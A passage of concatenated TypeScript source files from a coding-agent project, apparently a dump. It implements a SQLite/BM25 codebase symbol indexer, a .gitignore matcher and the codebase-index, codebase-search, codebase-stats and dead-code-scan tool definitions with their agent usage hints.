run.\n // Instead of stat-ing every previously-indexed file (O(total indexed)),\n // derive stale files from the discovered set: any existingMeta entry not\n // in the scanned files is stale. Skip entirely for explicit file lists\n // (targeted reindex \u2014 can't derive stale from a subset).\n if (discoveredFiles && discoveryComplete) {\n for (const [file_] of existingMeta) {\n if (!discoveredFiles.has(file_)) {\n store.deleteFile(file_);\n }\n }\n }\n\n // Batch commits resolve only names touched by that batch. Existing databases\n // get one global repair pass when this contract version changes; subsequent\n // single-file watcher runs avoid rebuilding the full symbol-name map.\n if (needsFullRefResolution) store.resolveRefs();\n store.setMetadata('ref_resolution_version', refResolutionVersion);\n store.setMetadata('relation_graph_version', relationGraphVersion);\n // Planner refresh belongs to full/bulk runs, not the edit watcher hot path.\n if (!opts.files || filesIndexed >= 50) store.optimize();\n\n store.setLastIndexed(Date.now());\n if (!opts.files) store.compactIfNeeded();\n const durationMs = Date.now() - startMs;\n\n return {\n filesIndexed,\n symbolsIndexed,\n langStats,\n durationMs,\n errors,\n };\n}\n", "/**\n * Minimal but faithful `.gitignore` matcher for the indexer.\n *\n * Supports the parts of the gitignore spec that matter for skipping source\n * files: comments / blanks, `!` negation (last match wins), trailing-slash\n * directory-only rules, leading-slash / embedded-slash anchoring, and the\n * `*` / `**` / `?` / `[...]` globs (via core's {@link compileGlob}).\n *\n * Only the project-root `.gitignore` is read. Nested `.gitignore` files are not\n * walked \u2014 the common build/dependency dirs that would live deeper are already\n * covered by the indexer's always-on `DEFAULT_IGNORE`.\n *\n * Known limitation: a `!negated` file inside an ignored directory will not be\n * re-included, because the indexer prunes ignored directories before descending\n * (a large performance win). This matches most lightweight implementations.\n */\n\nimport * as fs from 'node:fs/promises';\nimport * as path from 'node:path';\nimport { compileGlob } from '@wrongstack/core/utils';\n\nexport type IgnoreMatcher = (relPath: string, isDir: boolean) => boolean;\n\ninterface Rule {\n /** Matches the entry itself or anything under it (for dirs / plain names). */\n eqOrUnder: RegExp;\n /** Matches only entries strictly under it (for dir-only rules on files). */\n under: RegExp;\n negated: boolean;\n dirOnly: boolean;\n}\n\n/** Strip the `^`/`$` anchors compileGlob adds so we can re-anchor ourselves. */\nfunction globBody(glob: string): string {\n return compileGlob(glob).source.replace(/^\\^/, '').replace(/\\$$/, '');\n}\n\n/** Compile a list of raw `.gitignore` lines into a matcher. */\nexport function compileGitignore(lines: string[]): IgnoreMatcher {\n const rules: Rule[] = [];\n\n for (const raw of lines) {\n let line = raw.replace(/\\r$/, '');\n if (!line.trim() || line.trimStart().startsWith('#')) continue;\n line = line.trim();\n\n let negated = false;\n if (line.startsWith('!')) {\n negated = true;\n line = line.slice(1);\n }\n\n let dirOnly = false;\n if (line.endsWith('/')) {\n dirOnly = true;\n line = line.slice(0, -1);\n }\n if (!line) continue;\n\n // A slash anywhere (after the trailing slash is stripped) anchors the\n // pattern to the gitignore's directory (the project root here). A bare name\n // matches at any depth.\n const anchored = line.startsWith('/') || line.includes('/');\n if (line.startsWith('/')) line = line.slice(1);\n\n const body = globBody(line);\n const prefix = anchored ? '^' : '(?:^|.*/)';\n rules.push({\n eqOrUnder: new RegExp(`${prefix}${body}(?:/.*)?$`),\n under: new RegExp(`${prefix}${body}/.*$`),\n negated,\n dirOnly,\n });\n }\n\n return (relPath: string, isDir: boolean): boolean => {\n const p = relPath.replace(/\\\\/g, '/').replace(/^\\/+/, '');\n let ignored = false;\n for (const r of rules) {\n // A directory-only rule never matches a file by its own name; it only\n // matches files that live strictly beneath the named directory.\n const re = r.dirOnly && !isDir ? r.under : r.eqOrUnder;\n if (re.test(p)) ignored = !r.negated;\n }\n return ignored;\n };\n}\n\n/** Read `<projectRoot>/.gitignore` and compile it. Missing file \u2192 matches nothing. */\nexport async function loadGitignoreMatcher(projectRoot: string): Promise<IgnoreMatcher> {\n let lines: string[] = [];\n try {\n const raw = await fs.readFile(path.join(projectRoot, '.gitignore'), 'utf8');\n lines = raw.split('\\n');\n } catch {\n // No .gitignore \u2014 nothing extra to ignore beyond the indexer defaults.\n }\n return compileGitignore(lines);\n}\n", "import type { FileSymbols, SymbolLang } from './schema.js';\n\n/**\n * Load only the parser needed for this file. Keeping these imports lazy is\n * important for the project server: TypeScript's compiler API stays out of the\n * SQLite/IPC owner when TS/JS parsing is delegated to parser workers.\n */\nexport async function parseFileContent(\n file: string,\n content: string,\n lang: SymbolLang,\n): Promise<FileSymbols> {\n switch (lang) {\n case 'ts':\n case 'tsx':\n case 'js':\n case 'jsx': {\n const { parseSymbols } = await import('./ts-parser.js');\n return parseSymbols({ file, content, lang });\n }\n case 'go': {\n const { parseSymbols } = await import('./go-parser.js');\n return parseSymbols({ file, content, lang: 'go' });\n }\n case 'py': {\n const { parseSymbols } = await import('./py-parser.js');\n return parseSymbols({ file, content, lang: 'py' });\n }\n case 'rs': {\n const { parseSymbols } = await import('./rs-parser.js');\n return parseSymbols({ file, content, lang: 'rs' });\n }\n case 'json': {\n const { parseSymbols } = await import('./json-parser.js');\n return parseSymbols({ file, content, lang: 'json' });\n }\n case 'yaml': {\n const { parseSymbols } = await import('./yaml-parser.js');\n return parseSymbols({ file, content, lang: 'yaml' });\n }\n default: {\n const { parseSymbols } = await import('./generic-parser.js');\n return parseSymbols({ file, content, lang });\n }\n }\n}\n", "/**\n * Execution-location-agnostic index operations.\n *\n * One implementation, two callers: the index worker thread (production \u2014\n * synchronous SQLite and the TypeScript parser can never block the main\n * thread / terminal UI there) and the inline fallback inside the host (tests,\n * `WRONGSTACK_INDEX_INLINE=1`, or runtimes where the worker file is missing).\n *\n * Operations share one warm IndexStore per resolved project/index directory.\n * The detached server owns write serialization, while worker/inline fallbacks\n * run on one event loop, so a pooled connection is both safe and substantially\n * cheaper than re-running schema/FTS drift checks for every edited file.\n */\n\nimport { runIndexerWithStore } from './indexer.js';\nimport type { CodeMapGraph, IndexResult, IndexStats, SymbolKind, SymbolLang } from './schema.js';\nimport type { IndexOpArgs, SearchOpArgs, SearchOpResult, StatsOpArgs } from './worker-protocol.js';\nimport { indexStorePool } from './writer.js';\n\nexport interface ServiceHooks {\n signal?: AbortSignal | undefined;\n onProgress?: ((current: number, total: number) => void) | undefined;\n}\n\n/** Full or per-file index run. */\nexport async function indexService(\n args: IndexOpArgs,\n hooks: ServiceHooks = {},\n): Promise<IndexResult> {\n const store = indexStorePool.acquire(args.projectRoot, { indexDir: args.indexDir });\n try {\n return await runIndexerWithStore(store, {\n projectRoot: args.projectRoot,\n indexDir: args.indexDir,\n files: args.files,\n force: args.force,\n langs: args.langs,\n ignore: args.ignore,\n signal: hooks.signal,\n onProgress: hooks.onProgress,\n });\n } finally {\n indexStorePool.release(store);\n }\n}\n\n/** Ranked symbol search (FTS5 inside SQLite; BM25 fallback without FTS5). */\nexport function searchService(args: SearchOpArgs): SearchOpResult {\n const store = indexStorePool.acquire(args.projectRoot, { indexDir: args.indexDir });\n try {\n return store.searchRanked(\n args.query,\n {\n kind: args.kind as SymbolKind | undefined,\n lang: args.lang as SymbolLang | undefined,\n file: args.file,\n lspKind: args.lspKind,\n },\n args.limit,\n );\n } finally {\n indexStorePool.release(store);\n }\n}\n\n/** Index health and statistics. */\nexport function statsService(args: StatsOpArgs): IndexStats {\n const store = indexStorePool.acquire(args.projectRoot, { indexDir: args.indexDir });\n try {\n return store.getStats();\n } finally {\n indexStorePool.release(store);\n }\n}\n\n// \u2500\u2500\u2500 CodeMap graph services \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n/** Package-level dependency graph. */\nexport function packageGraphService(args: StatsOpArgs): CodeMapGraph {\n const store = indexStorePool.acquire(args.projectRoot, { indexDir: args.indexDir });\n try {\n return store.getPackageGraph();\n } finally {\n indexStorePool.release(store);\n }\n}\n\n/** File-level dependency graph for a single package. */\nexport function fileGraphService(args: StatsOpArgs & { packageFilter: string }): CodeMapGraph {\n const store = indexStorePool.acquire(args.projectRoot, { indexDir: args.indexDir });\n try {\n return store.getFileGraph(args.packageFilter);\n } finally {\n indexStorePool.release(store);\n }\n}\n\n/** Symbol-level dependency graph for a single file. */\nexport function symbolGraphService(args: StatsOpArgs & { fileFilter: string }): CodeMapGraph {\n const store = indexStorePool.acquire(args.projectRoot, { indexDir: args.indexDir });\n try {\n return store.getSymbolGraph(args.fileFilter);\n } finally {\n indexStorePool.release(store);\n }\n}\n", "\nimport type { Tool } from '@wrongstack/core/types';\nimport { codebaseIndexDirOverride } from './writer.js';\nimport { isIndexing, runStartupIndex } from './background-indexer.js';\nimport { indexCircuitBreaker } from './circuit-breaker.js';\n\nexport const codebaseIndexTool: Tool<CodebaseIndexInput, CodebaseIndexOutput> = {\n name: 'codebase-index',\n category: 'Project',\n icon: 'index',\n description:\n 'Build or incrementally update the project-wide symbol index. This powers fast codebase search and understanding. ' +\n 'By default it only processes files that have changed since the last indexing run.',\n usageHint:\n 'CREATE OR REFRESH THE SEARCH INDEX:\\n\\n' +\n '- When `codebase-stats` or `codebase-search` reports no persisted index, call this without arguments, then retry the search.\\n' +\n '- Normal and first-time usage: call without arguments for an incremental build.\\n' +\n '- Use `force: true` only for a corrupt/stale index or an explicitly requested clean rebuild.\\n' +\n '- Use `langs` to restrict to specific languages if you only care about certain parts of the project.\\n' +\n 'This tool is relatively expensive \u2014 do not call it on every turn. Use it when the index is stale or before heavy codebase-search sessions.',\n permission: 'confirm',\n mutating: true,\n capabilities: ['fs.write.outside-project'],\n // Must comfortably exceed the index watchdog\n // (DEFAULT_FULL_INDEX_TIMEOUT_MS = 240s in background-indexer.ts) so the\n // structured IndexTimeoutError reaches the agent instead of a generic\n // TOOL_TIMEOUT. The watchdog is armed inside withMutex, so under\n // contention from a concurrent incremental batch (60s ceiling) the tool\n // timeout must also cover the mutex queue wait + 240s watchdog + margin.\n timeoutMs: 305_000,\n inputSchema: {\n type: 'object',\n properties: {\n force: {\n type: 'boolean',\n description: 'Force a full reindex \u2014 clears the index first and reindexes all files.',\n },\n langs: {\n type: 'array',\n items: { type: 'string' },\n description: 'Limit reindex to specific languages: ts, tsx, js, jsx, go, py, rs',\n },\n },\n },\n async execute(input, ctx, execOpts) {\n // If the startup index is still running, tell the agent to wait instead of\n // firing a second reindex that would just queue behind the mutex.\n if (isIndexing()) {\n return {\n filesIndexed: 0,\n symbolsIndexed: 0,\n langStats: {},\n durationMs: 0,\n errors: [],\n note: 'A full index is already in progress. Retry codebase-index after it completes (check codebase-stats).',\n };\n }\n\n // Circuit breaker: after repeated failures/timeouts indexing is paused.\n // Report instead of erroring so the agent can carry on without the index.\n const circuit = indexCircuitBreaker.snapshot();\n if (circuit.state === 'open' && circuit.cooldownRemainingMs > 0) {\n return {\n filesIndexed: 0,\n symbolsIndexed: 0,\n langStats: {},\n durationMs: 0,\n errors: [],\n note:\n `Codebase indexing is paused after repeated failures (last: ${circuit.lastFailure ?? 'unknown'}). ` +\n `Auto-retry possible in ${Math.ceil(circuit.cooldownRemainingMs / 1000)}s; the user can run /codebase-reindex to retry immediately.`,\n };\n }\n\n // Route through the background coordinator so the run shares the\n // process-wide mutex, the watchdog timeout, and breaker accounting with\n // the startup scan and live reindexes (a direct runIndexer call here used\n // to race them on the same SQLite file).\n return await runStartupIndex({\n projectRoot: ctx.projectRoot,\n force: input.force ?? false,\n langs: input.langs,\n indexDir: codebaseIndexDirOverride(ctx),\n signal: execOpts?.signal,\n });\n },\n};\n\n// \u2500\u2500\u2500 Types for tool I/O \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ninterface CodebaseIndexInput {\n force?: boolean | undefined;\n langs?: string[] | undefined;\n}\n\ninterface CodebaseIndexOutput {\n filesIndexed: number;\n symbolsIndexed: number;\n langStats: Record<string, number>;\n durationMs: number;\n errors: string[];\n /** Advisory note when the indexer was skipped (e.g. another index in progress). */\n note?: string | undefined;\n}\n", "/**\n * `codebase-search` tool \u2014 search the symbol index with BM25 ranking.\n *\n * Usage: codebase-search({\n * query: string, // search terms\n * kind?: string, // class|function|interface|method|const|...\n * lang?: string, // ts|tsx|js|jsx|go|py|rs\n * file?: string, // filter to a specific file path (substring match)\n * limit?: number, // max results (default 20, max 100)\n * })\n *\n * Returns: [{ name, kind, lang, file, line, signature, snippet, score }, ...]\n *\n * The query executes in the index worker via FTS5 (`MATCH` + native `bm25()`)\n * \u2014 the main thread never opens SQLite, so a contended or wedged index can\n * slow this tool down but can never freeze the terminal.\n */\n\nimport type { Tool } from '@wrongstack/core/types';\nimport {\n codebaseIndexStats,\n getIndexState,\n searchCodebaseIndex,\n} from './background-indexer.js';\nimport type { SearchResult } from './schema.js';\nimport { codebaseIndexDirOverride } from './writer.js';\nexport const codebaseSearchTool: Tool<CodebaseSearchInput, CodebaseSearchOutput> = {\n name: 'codebase-search',\n category: 'Project',\n icon: 'index',\n description:\n 'Search code symbols using a fast SQLite+BM25 index, with optional LSP fallback. ' +\n 'Prefer this before broad `tree`, `glob`, or `grep` exploration when finding code by name or concept. ' +\n 'Set `preferLsp: true` for live precision when the LSP plugin is active (supersedes codebase-lsp-search).',\n usageHint:\n 'FIRST CHOICE FOR INDEXABLE CODE UNDERSTANDING:\\n\\n' +\n '- Call before broad `tree`, `glob`, or `grep` exploration when locating symbols, concepts, definitions, or candidate modules.\\n' +\n '- `kind` filter is very useful (e.g. only functions or only interfaces).\\n' +\n '- Combine with `file` filter to scope to a specific directory or module.\\n' +\n '- If `indexStatus` reports no persisted data, run `codebase-index` and retry.\\n' +\n 'Use `grep` afterwards for exact text, regexes, unsupported content, or concrete usage sites.',\n permission: 'auto',\n mutating: false,\n capabilities: ['fs.read'],\n // The index host has its own 30s read watchdog. Leave enough headroom for\n // worker teardown and structured timeout reporting.\n timeoutMs: 35_000,\n inputSchema: {\n type: 'object',\n properties: {\n query: {\n type: 'string',\n description: 'Search query \u2014 searches symbol names, signatures, and doc comments',\n },\n kind: {\n type: 'string',\n enum: [\n 'class', 'interface', 'enum', 'type', 'function', 'method', 'var', 'const', 'let',\n 'property', 'parameter', 'namespace', 'object', 'literal', 'schema', 'struct', 'trait',\n 'impl', 'static', 'mod',\n ],\n description: 'Filter by indexed symbol kind',\n },\n lang: {\n type: 'string',\n enum: ['ts', 'tsx', 'js', 'jsx', 'go', 'py', 'rs', 'json', 'yaml'],\n description: 'Filter by indexed language',\n },\n lspKind: {\n type: 'integer',\n description:\n 'Filter by LSP SymbolKind number (e.g. 5=Class, 12=Function, 11=Interface, 10=Enum)',\n },\n file: {\n type: 'string',\n description: 'Filter to files matching this path substring',\n },\n limit: {\n type: 'integer',\n description: 'Maximum results to return (default 20, max 100)',\n minimum: 1,\n maximum: 100,\n },\n preferLsp: {\n type: 'boolean',\n description:\n 'Prefer live LSP results over the index. Index-only when the LSP plugin is not active. ' +\n 'When the LSP plugin is active and this is true, results come from live workspaceSymbol queries.',\n },\n },\n required: ['query'],\n },\n async execute(input, ctx, execOpts) {\n const state = getIndexState();\n if (state.indexing && !state.ready) {\n return {\n results: [],\n total: 0,\n query: input.query,\n indexStatus: `Indexing in progress (${state.currentFile}/${state.totalFiles} files) \u2014 retry in a moment.`,\n };\n }\n // WAL provides a consistent previous snapshot while a refresh writes, so\n // keep search available instead of returning an empty, misleading result.\n if (state.lastError) {\n const circuit = state.circuit;\n const retryHint =\n circuit.state === 'open'\n ? `Indexing is paused (circuit open, retry in ${Math.ceil(circuit.cooldownRemainingMs / 1000)}s); the user can run /codebase-reindex to retry now.`\n : 'Try /codebase-reindex.';\n return {\n results: [],\n total: 0,\n query: input.query,\n indexStatus: `Index build failed: ${state.lastError}. ${retryHint}`,\n };\n }\n\n const limit = Math.max(1, Math.min(Math.trunc(input.limit ?? 20), 100));\n const { results, total } = await searchCodebaseIndex(\n {\n projectRoot: ctx.projectRoot,\n indexDir: codebaseIndexDirOverride(ctx),\n query: input.query,\n kind: input.kind?.toLowerCase(),\n lang: input.lang?.toLowerCase(),\n file: input.file,\n lspKind: input.lspKind,\n limit,\n },\n { signal: execOpts?.signal },\n );\n // Process-local readiness resets on launch while the SQLite index persists.\n // A zero-hit query on a cold process therefore cannot by itself prove the\n // index is missing; consult persisted metadata before emitting that hint.\n let hasPersistedIndex = state.ready || total > 0;\n if (!hasPersistedIndex) {\n try {\n const stats = await codebaseIndexStats(\n { projectRoot: ctx.projectRoot, indexDir: codebaseIndexDirOverride(ctx) },\n { signal: execOpts?.signal },\n );\n hasPersistedIndex = stats.totalFiles > 0 || stats.lastIndexed !== null;\n } catch {\n // Search already completed successfully. Keep the conservative missing\n // hint rather than failing the whole tool because the stats probe failed.\n }\n }\n return {\n results,\n total,\n query: input.query,\n ...(hasPersistedIndex\n ? {}\n : { indexStatus: 'No persisted index data found. Run codebase-index to build it.' }),\n };\n },\n};\n\n// \u2500\u2500\u2500 Types \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ninterface CodebaseSearchInput {\n query: string;\n kind?: string | undefined;\n lang?: string | undefined;\n file?: string | undefined;\n limit?: number | undefined;\n lspKind?: number | undefined;\n /**\n * When true, hints that LSP-based search should be preferred over the index.\n * The built-in tool ignores this (index-only), but when the LSP plugin is\n * active it intercepts the tool and provides live LSP workspaceSymbol results.\n */\n preferLsp?: boolean | undefined;\n}\n\ninterface CodebaseSearchOutput {\n results: SearchResult[];\n total: number; // total candidates before limit\n query: string;\n /** Non-empty when the index blocked the search (not ready, indexing, failed). */\n indexStatus?: string | undefined;\n}\n", "/**\n * `codebase-stats` tool \u2014 report index health and statistics.\n *\n * Usage: codebase-stats({})\n *\n * Returns: { totalSymbols, totalFiles, byLang, byKind, lastIndexed, sizeBytes, version }\n */\n\nimport type { Tool } from '@wrongstack/core/types';\nimport { codebaseIndexStats, getIndexState } from './background-indexer.js';\nimport { IndexTimeoutError } from './circuit-breaker.js';\nimport { SCHEMA_VERSION } from './schema.js';\nimport { codebaseIndexDirOverride, resolveIndexDir } from './writer.js';\n\nexport const codebaseStatsTool: Tool<Record<string, never>, CodebaseStatsOutput> = {\n name: 'codebase-stats',\n category: 'Project',\n icon: 'index',\n description:\n 'Check whether a persisted codebase index exists and report its health and statistics (symbols, files, language/kind breakdown, size, last update).',\n usageHint:\n 'CHECK ONCE BEFORE BROAD CODE EXPLORATION:\\n\\n' +\n '- Call before broad `tree`, `glob`, or `grep` exploration to see whether index-backed search is available.\\n' +\n '- If it reports no persisted data, run `codebase-index`, then use `codebase-search`.\\n' +\n '- No arguments required.\\n' +\n 'Lightweight and safe to call frequently.',\n permission: 'auto',\n mutating: false,\n capabilities: ['fs.read'],\n // The index host has its own 30s read watchdog. Keep the outer tool budget\n // longer so the host can return a structured timeout instead of being\n // pre-empted by the generic tool executor.\n timeoutMs: 35_000,\n inputSchema: {\n type: 'object',\n properties: {},\n additionalProperties: false,\n },\n async execute(_input, ctx, execOpts) {\n const idxState = getIndexState();\n const indexPath = resolveIndexDir(ctx.projectRoot, codebaseIndexDirOverride(ctx));\n\n // The index worker can be busy parsing or writing during a startup build.\n // Do not queue a stats read merely to report progress: on large projects\n // that made this lightweight tool hit its outer timeout. Return the\n // process-local lifecycle state immediately and let callers retry later.\n if (idxState.indexing) {\n return {\n totalSymbols: 0,\n totalFiles: 0,\n byLang: {},\n byKind: {},\n lastIndexed: null,\n sizeBytes: 0,\n indexPath,\n version: SCHEMA_VERSION,\n statsAvailable: false,\n indexing: {\n currentFile: idxState.currentFile,\n totalFiles: idxState.totalFiles,\n },\n indexStatus: idxState.ready\n ? `Index refresh in progress (${idxState.currentFile}/${idxState.totalFiles} files). The persisted snapshot remains available to codebase-search; retry stats after refresh.`\n : `Startup indexing in progress (${idxState.currentFile}/${idxState.totalFiles} files). Do not start another index; retry stats or codebase-search after completion.`,\n };\n }\n\n // Always inspect persisted state. Readiness is process-local and resets on\n // every CLI launch, while the SQLite index intentionally survives launches.\n // Fetched via the index host (worker thread when available) \u2014 the main\n // thread never opens SQLite here.\n let stats;\n try {\n stats = await codebaseIndexStats(\n { projectRoot: ctx.projectRoot, indexDir: codebaseIndexDirOverride(ctx) },\n { signal: execOpts?.signal },\n );\n } catch (err) {\n if (!(err instanceof IndexTimeoutError) && (err as Error)?.name !== 'IndexTimeoutError') {\n throw err;\n }\n return {\n totalSymbols: 0,\n totalFiles: 0,\n byLang: {},\n byKind: {},\n lastIndexed: null,\n sizeBytes: 0,\n indexPath,\n version: SCHEMA_VERSION,\n statsAvailable: false,\n indexStatus:\n 'Index statistics timed out. Do not repeatedly retry stats; try codebase-search directly or use the appropriate grep/glob/tree fallback.',\n };\n }\n\n const circuit = idxState.circuit;\n const hasPersistedIndex = stats.totalFiles > 0 || stats.lastIndexed !== null;\n let indexStatus: string | undefined;\n if (circuit.state === 'open') {\n indexStatus =\n `${hasPersistedIndex ? 'Indexing' : 'No persisted index data found, and indexing'} is paused after repeated failures ` +\n `(last: ${circuit.lastFailure ?? 'unknown'}); auto-retry in ` +\n `${Math.ceil(circuit.cooldownRemainingMs / 1000)}s, or run /codebase-reindex. ` +\n (hasPersistedIndex\n ? 'Stats reflect the last successful build.'\n : 'Build the index after recovery.');\n } else if (!hasPersistedIndex) {\n indexStatus =\n 'No persisted index data found. Run codebase-index to build it before broad code exploration.';\n }\n return {\n totalSymbols: stats.totalSymbols,\n totalFiles: stats.totalFiles,\n byLang: stats.byLang,\n byKind: stats.byKind,\n lastIndexed: stats.lastIndexed,\n sizeBytes: stats.sizeBytes,\n indexPath: stats.indexPath,\n version: stats.version,\n statsAvailable: true,\n ...(indexStatus ? { indexStatus } : {}),\n };\n },\n};\n\ninterface CodebaseStatsOutput {\n totalSymbols: number;\n totalFiles: number;\n byLang: Record<string, number>;\n byKind: Record<string, number>;\n lastIndexed: number | null;\n sizeBytes: number;\n indexPath: string;\n version: number;\n /** False when lifecycle state was returned without opening the SQLite index. */\n statsAvailable: boolean;\n /** Present while an index build or refresh is active. */\n indexing?:\n | {\n currentFile: number;\n totalFiles: number;\n }\n | undefined;\n /** Non-empty when the index is not ready or is still building. */\n indexStatus?: string | undefined;\n}\n", "/**\n * `dead-code-scan` tool \u2014 find unused symbols using the codebase-index refs graph.\n *\n * How it works:\n * 1. Opens a pooled connection to the existing codebase-index SQLite store.\n * 2. Discovers entry-point symbols from package.json (bin, main, exports, types)\n * plus conventional entry files (src/index.ts, src/main.ts, index.ts).\n * 3. BFS-traverses the reference graph from those entry points to find every\n * symbol that is transitively reachable through imports, calls, type refs,\n * inheritance, and implementation edges.\n * 4. Everything NOT reached is a dead-code candidate.\n *\n * Known limitations (false positives possible):\n * - Dynamic imports / `require()` with computed paths are invisible.\n * - External consumers (npm installers, CI tools) can't be seen.\n * - Config-driven registration (plugin manifests, DI containers) won't appear.\n * - Type-only exports consumed only at the type level are still marked alive\n * because the refs graph tracks `type_ref` edges.\n */\n\nimport * as fs from 'node:fs';\nimport * as path from 'node:path';\nimport type { Tool } from '@wrongstack/core/types';\nimport { detectLang } from './languages.js';\nimport type { SymbolKind, SymbolLang } from './schema.js';\nimport { codebaseIndexDirOverride, type IndexStore, indexStorePool } from './writer.js';\n\n// \u2500\u2500\u2500 Types \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nexport interface DeadCodeScanInput {\n /** Project root (defaults to ctx.projectRoot). */\n projectRoot?: string | undefined;\n /**\n * Override the index directory. Normally auto-resolved from projectRoot.\n */\n indexDir?: string | undefined;\n /**\n * Additional entry-point file paths (absolute or relative to projectRoot)\n * to seed the reachability scan. These augment auto-discovered entry points.\n */\n entryPoints?: string[] | undefined;\n}\n\nexport interface DeadSymbol {\n name: string;\n kind: SymbolKind;\n lang: SymbolLang;\n file: string;\n line: number;\n /** Why this symbol is considered dead. */\n reason: 'unreferenced' | 'unreferenced-export';\n}\n\nexport interface DeadFile {\n file: string;\n symbolCount: number;\n lang: string;\n}\n\nexport interface DeadPackage {\n package: string;\n path: string;\n fileCount: number;\n}\n\nexport interface DeadCodeScanOutput {\n /** Symbols found dead. Sorted: unreferenced-export first, then by file. */\n deadSymbols: DeadSymbol[];\n /** Files where every defined symbol is dead (likely orphaned modules). */\n deadFiles: DeadFile[];\n /** Packages in the workspace with zero used symbols. */\n deadPackages: DeadPackage[];\n /** Entry points used as traversal roots. */\n entryPoints: string[];\n stats: {\n totalSymbols: number;\n alive: number;\n dead: number;\n durationMs: number;\n };\n}\n\n// \u2500\u2500\u2500 Tool definition \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nexport const deadCodeScanTool: Tool<DeadCodeScanInput, DeadCodeScanOutput> = {\n name: 'dead-code-scan',\n category: 'Project',\n icon: 'search',\n description:\n 'Scan TypeScript/JavaScript source files for exported symbols that appear ' +\n 'unused anywhere in the project. Uses the codebase-index reference graph ' +\n '(import/call/type-ref edges) to compute transitive reachability from ' +\n 'package.json entry points. Requires a built codebase-index (run ' +\n '`codebase-index` first if you get no results).',\n usageHint:\n 'PASS `path` TO SCOPE THE SCAN:\\n\\n' +\n '- Defaults to the project root (all indexed files).\\n' +\n '- `path` can be a directory to scope the scan (e.g. \"src/util/\").\\n' +\n '- `entryPoints` overrides auto-detected entry points (comma-separated file paths).\\n\\n' +\n 'The scan runs against the existing index; results are best-effort.',\n permission: 'auto',\n mutating: false,\n capabilities: ['fs.read'],\n timeoutMs: 60_000,\n inputSchema: {\n type: 'object',\n properties: {\n projectRoot: {\n type: 'string',\n description: 'Project root (defaults to ctx.projectRoot).',\n },\n indexDir: {\n type: 'string',\n description: 'Override index directory.',\n },\n entryPoints: {\n type: 'array',\n items: { type: 'string' },\n description: 'Additional entry-point file paths to seed the scan.',\n },\n },\n },\n async execute(input, ctx, _execOpts) {\n const startMs = Date.now();\n const projectRoot = input.projectRoot ?? ctx.projectRoot;\n const indexDir = input.indexDir ?? codebaseIndexDirOverride(ctx) ?? undefined;\n\n const result = runDeadCodeScan(projectRoot, {\n indexDir,\n userEntryPoints: input.entryPoints,\n });\n\n return {\n ...result,\n stats: { ...result.stats, durationMs: Date.now() - startMs },\n };\n },\n};\n\n// \u2500\u2500\u2500 Entry-point discovery \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n/**\n * Read a JSON file safely, returning null on any error.\n */\nfunction tryReadJson(filePath: string): Record<string, unknown> | null {\n try {\n const raw = fs.readFileSync(filePath, 'utf8');\n return JSON.parse(raw) as Record<string, unknown>;\n } catch {\n return null;\n }\n}\n\n/**\n * Resolve a potentially relative path against a base directory.\n */\nfunction resolveAgainst(base: string, relative: string): string {\n if (path.isAbsolute(relative)) return relative;\n return path.resolve(base, relative);\n}\n\n/**\n * Walk the workspace and discover entry-point files from package.json(s).\n */\nfunction discoverEntryPoints(projectRoot: string, userEntryPoints: string[] | undefined): string[] {\n const entries = new Set<string>();\n\n // 1. User-provided entry points.\n if (userEntryPoints) {\n for (const ep of userEntryPoints) {\n const resolved = resolveAgainst(projectRoot, ep);\n if (fs.existsSync(resolved)) entries.add(resolved);\n }\n }\n\n // 2. Root package.json.\n const rootPkg = tryReadJson(path.join(projectRoot, 'package.json'));\n if (rootPkg) {\n addPkgJsonEntryPoints(projectRoot, rootPkg, entries);\n }\n\n // 3. Workspace packages if this is a monorepo.\n let workspaces: string[];\n if (rootPkg) {\n workspaces = extractWorkspaceGlobs(rootPkg, projectRoot);\n // Fall back to pnpm-workspace.yaml when package.json has no workspaces field\n // (pnpm's default layout for modern monorepos).\n if (workspaces.length === 0) {\n workspaces = 